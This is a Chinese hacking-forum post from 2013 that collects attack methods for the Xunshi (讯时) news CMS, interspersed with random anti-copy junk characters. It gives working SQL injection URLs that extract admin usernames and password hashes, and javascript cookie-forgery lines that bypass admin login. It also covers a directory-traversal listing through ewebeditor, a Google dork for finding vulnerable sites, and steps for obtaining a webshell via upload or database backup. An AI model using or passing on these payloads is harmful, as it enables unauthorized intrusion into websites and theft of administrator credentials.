找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2799|回复: 0
打印 上一主题 下一主题

讯时漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-16 21:25:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
by:血封忆尘
# O9 [2 b9 a1 V5 c/ u# g! i* a$ Q" A" \. @! [8 Z
在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了(随着版本的更新)9 R, t  q/ U+ i/ `
2 W, D* R# `! D
以下本文总结来自黑防去年第9期杂志上的内容...
; a9 [  b+ I7 _  M
2 l2 q2 `+ p& I先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%
" v5 C( W$ ^! X: P# w
* S) E$ d2 |0 @7 y, u' i26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2 3 M7 Z) s& a) B4 R

3 I! Q0 w) b5 T# o记得千万别多了空格,我测试站的时候就发现多了空格注入不出结果的情况
0 T; f9 m3 C% w- \7 Q这里一个注入
  ?* x6 M1 l7 W2 X3 p0 J# I
4 C+ O2 _- |/ P效果如图:
( N1 B$ |" H! `# \' i: d
4 p( S0 ~9 E. L) ^  L4 y. X ( O1 ?) y$ \! I1 E( B

( b8 T8 E0 j0 f6 Y% {这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.. `1 N! t1 y3 }  W$ d5 M- J3 [

. c/ K" B: h" _1 Y密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去" p. s0 m% I; y7 ~, m
; B6 Z2 v3 \1 V* \$ ]: }; r
javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));% U0 k! b& L+ d9 T* n* Q# a8 W
" O" M& C6 O+ l' P3 J6 e% B8 s
那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:
# L0 u- r- H3 _" t. D5 b/ ?- _& R6 O3 U$ c! b( D* v0 r
因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞: e5 y% Y2 W6 ~. M: K6 e0 a% q, a6 M4 C
: K) g# l4 }; }1 A  n( \0 u: R  X  S
它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以6 B/ R4 T7 S" p' |+ z; W
3 |* h2 y  \$ L# q, p
访问这页面来列目录..步骤如下:2 j7 I% p/ f3 F8 n2 z
( Y: R4 u+ M+ {2 J5 ]5 i! ^
javascript:alert(document.cookie="admindj=1")
* |7 p5 \( {6 h$ F. V( F& e
2 z* W* d! h: H6 Khttp://www.political-security.co ... asp?id=46&dir=../..
5 a/ w7 d' t& A" @8 ]( S9 @+ L- {0 b% Y7 T: I4 c* B8 g8 q4 @
效果如图:
/ m7 i: [1 g( O3 I# ^% d
! p6 u  {( p5 Y% `& a 5 U, d+ O; u" g- Y9 `
# j2 T7 J3 W4 U0 a5 k+ B
这样全站目录都能瞧了..找到后台目录..进去.., S# D  r* Q* E
; r& u+ D- p+ n! b
那么进了后台怎么拿shell??上传--备份就ok了... G4 |$ Z: n9 h6 u/ N' q

' d. S$ N2 B0 k: o那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..- }7 {! ?% H9 a% Y3 v1 k
/ i6 ?# {$ X' G4 U4 l
这个我也碰到过一次..你都可以通过列目录来实现..# ?9 Q$ \4 v9 u, z

8 S/ J% n1 F+ }javascript:alert(document.cookie="admindj=1") 6 C) V# j/ Y2 @# P& v! i3 m
) ]0 `* A# I* E
http://www.political-security.co ... p?action=BackupData 5 n) }4 M2 o" ], N
2 K+ g% ?  ]# v% g6 l( j
备份ok..5 l$ k/ m* h$ G/ p- ~2 ~4 ^
& O8 j1 E1 Y6 p1 b8 q( j, q
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?
0 y" S: }& k* [. t5 ~, \9 r7 G! s+ e4 J# K# l. K
在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
/ I6 K' ^5 ]0 H, `
" G+ N9 O# Y! `0 n, m( q- |' w然后访问此页面进行注入..步骤如下:
/ m4 i6 [( U5 J! {8 t
6 X- G+ a, i: P) I4 K, j; u* Pjavascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
; K0 p2 z# l1 c) D7 p3 v
9 m) u6 y! a2 O然后请求admin/admin_chk.asp页面' A/ c9 m6 `) V# S: W+ r
; r9 a) N1 ]" L& G/ r% p( k- G
输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%, M! U4 f5 w9 C+ i1 O& f0 Z2 O: q! _
* v* n! M" N% S& g$ z7 n
26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin- A. F' x" z$ I6 ?

, K4 X; N6 f. Z1 \3 }6 D* o9 s效果如图所示:
. [( u. p( \* F: z. g! W: ^/ J: Y, h- J" i; ]- @6 D( J9 |. J# j/ j( B

& z! U8 l% Z$ _- \* p
0 m) s2 T. D, e% W讯时漏洞2; c2 c* {* @* F6 B& N0 _
google关键字:inurl:news_more.asp?lm2= (关键字很多的自己定义吧)3 U0 u: O) ?' B+ @$ y2 }

7 G* Y8 j3 c$ S9 a9 ^3 f- ?* W1、/admin/admin_news_pl_view.asp?id=1
! F+ |0 x/ U6 ~! x* J( V, j//id任意 填入以下语句
1 y, w5 n$ i/ r/ \5 H9 I" m9 { 7 h" F) {: U1 `& V* ~$ z. n0 w
2、有时1显示错误信息的时候继续往后退2,3,4,我退到11才找到了页面,郁闷!. u) M# X! F, ]: B

" F" I  P; Y: \5 ?
+ f2 u0 Y2 V0 m+ u+ b/ Y7 z9 V0 q) `, }7 j5 c' Y
3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='% |% O( K. R5 `
) R, C  G& r( X4 H+ _
; I$ x% Y1 I- o+ U" M  K
  T8 G; i7 [! ?8 ?/ m9 w
爆出管理员帐号和密码了
, e; T; K0 U! m7 @5 r
% q  o% ~, d7 a1 Z! @+ m" P& a7 ~
: v  L) ^* z0 s+ I0 T+ m  v) ~1 }
4、cookies进后台
' C2 a8 @  `5 S" H4 M1 }; m
5 K& l0 M: f$ a. M. H4 N" w; Ojavascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));% w* j1 s) Q$ ~' l
3 g  I4 g" D( J3 H
  d- r' N; [1 \9 o. B' l( n; {5 K) a& ?1 d

+ n) |+ r: h9 h* s0 M# E2 H, ~+ [5、后台用了cookie验证,直接访问http://www.political-security.com/admin/admin_index.asp就OK了!
' A2 O* U8 D2 d  ?) } ! N) r' u+ U& {# O6 J3 a
  i1 s+ w% t' \2 ^8 j
, f3 }7 P% M0 J# c: p, S, y' B8 o
6、后台有上传和备份取SHELL不难。5 d% t. i0 A, p+ m
2 H; z4 Y1 t7 j+ k+ G  h4 k
7、讯时还有个列目录漏洞:http://www.political-security.co ... asp?id=46&dir=../..
* Q% J4 }1 ~9 S
5 _5 Q: H0 x0 F9 u1 H3 R( q) ~逍遥复仇:我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL,有的说虽然后台显示但备份页面是存在的,登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData,我这个没有,郁闷着呢,谁还有其他办法提供一下,谢谢!
( W$ }7 a- x) Q1 ~  b0 b- A0 M" F- J! l6 b7 j0 e, @! T

& j' S: P" _& N9 G1 T$ h' H2 M6 o9 y) n8 a  Q/ x3 }* j/ f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表